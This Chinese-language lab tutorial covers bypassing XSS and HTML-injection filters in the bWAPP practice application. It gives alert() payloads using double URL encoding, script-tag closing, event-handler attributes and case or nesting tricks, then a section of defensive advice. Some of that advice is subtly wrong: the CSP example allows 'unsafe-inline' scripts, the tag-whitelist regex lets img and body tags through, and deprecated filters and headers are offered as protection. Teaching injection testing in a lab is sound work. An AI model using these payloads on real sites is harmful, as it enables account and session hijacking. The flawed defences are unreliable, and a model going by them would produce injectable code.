bWAPP 靶场 XSS 与 HTML 注入 4 种绕过手法:从编码到 DOM,实战对比 3 种过滤函数
1. 靶场环境与漏洞基础
bWAPP(Buggy Web Application)是一个专为 Web 安全测试设计的开源漏洞演练平台,包含 100 多种常见 Web 漏洞场景。作为安全研究的标准沙盒环境,其核心价值在于:
- 多层级防护模拟:每个漏洞提供 Low/Medium/High 三种安全级别
- 真实漏洞复现:覆盖 OWASP Top 10 所有风险项
- 教学友好性:内置详细漏洞说明和修复建议
在 XSS 与 HTML 注入场景中,bWAPP 主要模拟了以下攻击面:
| 漏洞类型 | 注入点位置 | 危害等级 |
|---|---|---|
| 反射型 XSS (GET) | URL 参数 | ★★★★ |
| 存储型 XSS | 博客评论表单 | ★★★★★ |
| DOM 型 XSS | 客户端脚本解析 | ★★★☆ |
| iFrame 注入 | 第三方资源嵌入参数 | ★★★★ |
提示:实际测试时建议使用 Firefox 或旧版 IE 浏览器,Chrome 的 XSS Auditor 可能干扰部分攻击效果
2. 四种经典绕过手法解析
2.1 URL 编码双重转换
适用场景:当服务端对输入进行 HTML 实体编码但存在解码逻辑时
攻击步骤:
- 构造基础 payload:
<script>alert(1)</script> - 进行第一次 URL 编码:
%3Cscript%3Ealert%281%29%3C%2Fscript%3E - 对编码结果再次 URL 编码:
%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E
原理分析:
// 伪代码展示服务端处理流程 $input = urldecode($_GET['param']); // 第一次解码 → 得到单次编码字符串 $input = htmlspecialchars($input); // 转义特殊字符 echo urldecode($input); // 第二次解码 → 还原原始HTML标签实战对比:
- Low 级别:直接执行
- Medium 级别:需双重编码
- High 级别:
htmlspecialchars($data, ENT_QUOTES)完全防御
2.2 DOM 碎片注入
适用场景:当输入被插入到 JavaScript 字符串中时
payload 构造:
';alert(1);// </script><script>alert(2)</script>案例演示:
<script> var userInput = '[攻击者输入]'; // 注入点 document.write('<div>' + userInput + '</div>'); </script>防御突破点:
- 闭合前一个 script 标签
- 使用 HTML 实体编码绕过字符串检测
- 利用 SVG/MathML 等特殊上下文
2.3 iframe 参数污染
攻击流程:
- 识别未过滤的 iframe 属性(如 width/height)
- 在最后参数追加 payload:
&width=500 onload="alert(1)" - 利用属性解析特性执行脚本
防御对比表:
| 防护级别 | 过滤函数 | 是否可绕过 |
|---|---|---|
| Low | 无过滤 | 是 |
| Medium | addslashes() | 是 |
| High | htmlspecialchars | 否 |
2.4 事件处理器注入
创新手法:
<img src=x onerror=alert(1)> <svg/onload=alert(2)> <body onpageshow=alert(3)>特殊场景突破:
- 利用 autofocus 属性:
<input autofocus onfocus=alert(1)> - 使用伪协议:
<a href="javascript:alert(1)">点击</a>
3. 三种过滤函数实战评测
3.1 htmlspecialchars() 防御体系
安全配置:
// 最安全用法 htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');转义范围:
| 字符 | 转义结果 |
|---|---|
| < | < |
| > | > |
| " | " |
| ' | ' |
| & | & |
绕过尝试记录:
- 尝试 UTF-7 编码:失败
- 使用 JavaScript 伪协议:失败
- 测试 CSS 表达式:失败
3.2 addslashes() 的局限性
典型漏洞代码:
echo "<input value='" . addslashes($input) . "'>";突破方案:
- 提前闭合属性:
' onclick=alert(1) // - 利用 JSON 上下文:
{"data":"</script><script>alert(1)</script>"}
3.3 自定义过滤的盲点
常见缺陷模式:
function custom_filter($input) { $filtered = str_replace(['<script>', 'onload'], '', $input); return $filtered; }绕过技巧:
- 大小写变形:
<ScRiPt> - 嵌套标签:
<scr<script>ipt> - 利用换行符:
<img src=x\nalt=1\nonerror=alert(1)>
4. 防御方案与最佳实践
4.1 安全编码策略
上下文相关防御矩阵:
| 输出位置 | 推荐方案 | 示例代码 |
|---|---|---|
| HTML 正文 | htmlspecialchars + ENT_QUOTES | echo htmlspecialchars($data) |
| HTML 属性 | 额外引号过滤 | filter_var($data, FILTER_SANITIZE_STRING) |
| JavaScript 块 | JSON_HEX_TAG | json_encode($data, JSON_HEX_TAG) |
| URL 参数 | urlencode | echo urlencode($data) |
4.2 深度防御措施
CSP 策略示例:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'输入验证正则:
// 允许的HTML标签白名单 $clean = preg_replace('/<(?!b|i|p|br)[^>]+>/i', '', $input);浏览器安全头:
add_header X-XSS-Protection "1; mode=block"; add_header X-Content-Type-Options "nosniff";
4.3 自动化检测方案
OWASP ZAP 测试脚本:
def test_xss(url): payloads = ['<script>alert(1)</script>', 'javascript:alert(1)'] for payload in payloads: res = requests.get(url + '?param=' + payload) if payload in res.text: print(f"Vulnerable to {payload}")Burp Suite 扫描配置:
- 安装 "XSS Validator" 插件
- 配置攻击载荷生成规则
- 设置反射检测正则表达式